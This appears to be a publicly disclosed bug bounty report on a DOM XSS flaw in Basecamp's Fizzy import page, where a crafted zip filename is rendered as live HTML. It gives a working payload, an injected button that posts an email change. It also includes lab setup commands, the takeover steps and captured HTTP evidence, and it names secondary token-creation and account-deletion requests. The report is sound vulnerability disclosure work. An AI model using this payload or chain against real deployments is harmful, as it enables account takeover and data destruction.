HexBrain

Basecamp · Report #3608199

DOM XSS in `fizzy.do` import filename preview enables one-click victim account takeover

Validstatus
highseverity
82upvotes
14 Apr 2026disclosed

How it was found

Description

Summary:

While auditing the latest Fizzy code and validating it end to end in a live Docker deployment of current main, I found that the account import page renders the selected local filename with innerHTML instead of textContent.

In practice, that means a crafted .zip filename is not shown as text. It is parsed as live HTML inside the real authenticated import form on /account/imports/new. Because that form already contains the victim's session and a valid CSRF token, I was able to inject a second submit control with an attacker-chosen formaction and turn the filename preview into an authenticated request gadget.

I pushed this beyond a theoretical DOM issue and validated the full attack chain to victim account takeover. The strongest demonstrated path was:

  1. I made the victim browser submit an email-change request to [email protected]
  2. Fizzy sent the confirmation link to the attacker-controlled mailbox
  3. I redeemed that confirmation link
  4. Fizzy created a fresh authenticated victim session for me
  5. I accessed the victim account and victim profile edit page with 200 OK

I also separately validated two additional impacts from the same sink:

  • victim write-scoped personal access token creation
  • victim account deletion

The worst case that I actually demonstrated is full victim account takeover.

Steps To Reproduce:

I am including a zip bundle with the exact scripts I used. The attachment contains:

  • basecamp_submission__fizzy_do__cwe-79__.md Purpose: this submission text in markdown form.
  • 2026-03-16_import-filename_dom-xss_api-token.md Purpose: my full technical write-up with the complete attack path, evidence, and code references.
  • fizzy_dom_xss_seed.rb Purpose: seeds the attacker mailbox identity and victim owner account.
  • fizzy_dom_xss_takeover_chain.sh Purpose: replays the full account-takeover chain after the victim session exists.
  • fizzy_dom_xss_account_delete_poc.js Purpose: reproduces the secondary destructive impact, account deletion, in Playwright.
  • README.md

I validated on current upstream:

  • commit: 4211e20a663eb5ad8d4ca3340a1f8d247472c4dc

Setup

  1. Check out the latest affected revision and build the app:
git clone https://github.com/basecamp/fizzy.git
cd fizzy
git fetch origin
git checkout 4211e20a663eb5ad8d4ca3340a1f8d247472c4dc
docker build -t fizzy-main-latest .
  1. Start an SMTP capture container and a Fizzy app container:
docker run -d --name fizzy-mailhog-bridge mailhog/mailhog

docker run -d --name fizzy-ato-poc \
  -e SECRET_KEY_BASE="$(openssl rand -hex 32)" \
  -e DISABLE_SSL=true \
  -e MULTI_TENANT=true \
  -e SMTP_ADDRESS=172.17.0.6 \
  -e SMTP_PORT=1025 \
  -e SMTP_USERNAME=test \
  -e SMTP_PASSWORD=test \
  -e SMTP_AUTHENTICATION=plain \
  -e BASE_URL=http://172.17.0.7:3000 \
  fizzy-main-latest \
  bash -lc './bin/rails db:prepare && ./bin/rails server -b 0.0.0.0 -p 3000'
  1. Seed the attacker mailbox identity and victim owner account:
docker cp fizzy_dom_xss_seed.rb fizzy-ato-poc:/tmp/fizzy_dom_xss_seed.rb
docker exec fizzy-ato-poc bash -lc 'bundle exec rails runner /tmp/fizzy_dom_xss_seed.rb'

In my run, that gave me:

victim account slug: /40002
victim user id: 03frq8zae2a7m9cari0v89xua
attacker mailbox: [email protected]
victim mailbox: [email protected]
  1. Sign in as the victim through the real HTTP flow and keep the victim cookie jar:
curl -s -i -c /workspace/victim_ato.cookies -X POST \
  -d [email protected] \
  http://172.17.0.7:3000/session

Then finish the magic-link sign-in. In my lab I completed real victim authentication before triggering the filename attack.

Full takeover reproduction

  1. Create a local file whose name injects a second submit button into the import form:
<button formaction=&#47;40002&#47;users&#47;03frq8zae2a7m9cari0v89xua&#47;email_addresses formmethod=post name=email_address [email protected]>Take over.zip
  1. As the logged-in victim, open:
http://172.17.0.7:3000/account/imports/new
  1. Select the malicious file. The preview will render a live injected button instead of inert filename text.

  2. Click the injected Take over.zip control. This causes the victim browser to submit:

POST /40002/users/03frq8zae2a7m9cari0v89xua/email_addresses

with:

  1. Open the attacker mailbox in MailHog and retrieve the Confirm your new email address message. It contains a real confirmation URL like:
http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses/.../confirmation
  1. Visit that confirmation URL and submit the real confirmation form. Fizzy then responds with:
HTTP/1.1 302 Found
Location: http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/edit
Set-Cookie: session_token=...; httponly; samesite=lax
  1. Reuse that new session_token cookie to request:
GET /40002/
GET /40002/users/03frq8zae2a7m9cari0v89xua/edit

Both returned 200 OK in my validation.

  1. Confirm server-side that the victim user identity email changed to [email protected].

What I observed during validation

The full takeover chain succeeded. These are the exact checkpoints I confirmed:

  • victim-side malicious POST to /40002/users/03frq8zae2a7m9cari0v89xua/email_addresses
  • confirmation mail delivered to the attacker mailbox
  • successful confirmation POST
  • new attacker-side session_token
  • 200 OK on the victim account and victim profile edit page
  • victim identity now bound to [email protected]

Additional validated impacts from the same sink

I also reproduced:

  1. Victim write-scoped personal access token creation
POST /20002/my/access_tokens
  1. Victim account deletion
POST /20002/account/cancellation

I included the deletion PoC script in the zip because it is a clean secondary demonstration of the same primitive, but the primary reportable impact is the mailbox-backed account takeover above.

Supporting Material/References:

Code references

  • app/javascript/controllers/upload_preview_controller.js
  • app/views/account/imports/new.html.erb
  • app/controllers/users/email_addresses_controller.rb
  • app/controllers/users/email_addresses/confirmations_controller.rb
  • app/controllers/account/cancellations_controller.rb

Key evidence I captured

Victim-side malicious POST:

Started POST "/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses" for 172.17.0.2
Processing by Users::EmailAddressesController#create as */*
Parameters: {"authenticity_token"=>"[FILTERED]", "email_address"=>"[email protected]", "user_id"=>"03frq8zae2a7m9cari0v89xua"}
[ActiveJob] Enqueued ActionMailer::MailDeliveryJob ... "UserMailer", "email_change_confirmation"

Attacker mailbox confirmation message:

Subject: Confirm your new email address
http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses/.../confirmation

Attacker-side confirmation response:

HTTP/1.1 302 Found
Location: http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/edit
Set-Cookie: session_token=...; httponly; samesite=lax

Attacker-side access after takeover:

ATTACKER_ACCOUNT_HTTP=200
ATTACKER_EDIT_HTTP=200
{user_identity_email: "[email protected]", account_slug: "/40002"}

Attachment bundle

I prepared a zip bundle containing the report plus all supporting scripts and notes:

  • basecamp_fizzy_dom_xss_account_takeover_bundle.zip

Impact

Impact

An external attacker can send a crafted .zip file to a logged-in Fizzy owner and, with a single click on the import page, cause the victim browser to submit attacker-chosen same-origin authenticated POST requests using the victim session and the page's valid CSRF token.

The worst case I actually demonstrated was full victim account takeover. I was able to:

  • trigger a victim email change to an attacker-controlled mailbox
  • receive the confirmation link in the attacker mailbox
  • redeem that link
  • obtain a fresh authenticated victim session
  • access the victim account as that victim

I also separately demonstrated:

  • victim write-token creation
  • victim account deletion

So the demonstrated impact is not just UI manipulation or an isolated DOM bug. It is a reliable path to full account compromise, plus destructive integrity and availability impact, from a single user interaction on the import page.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original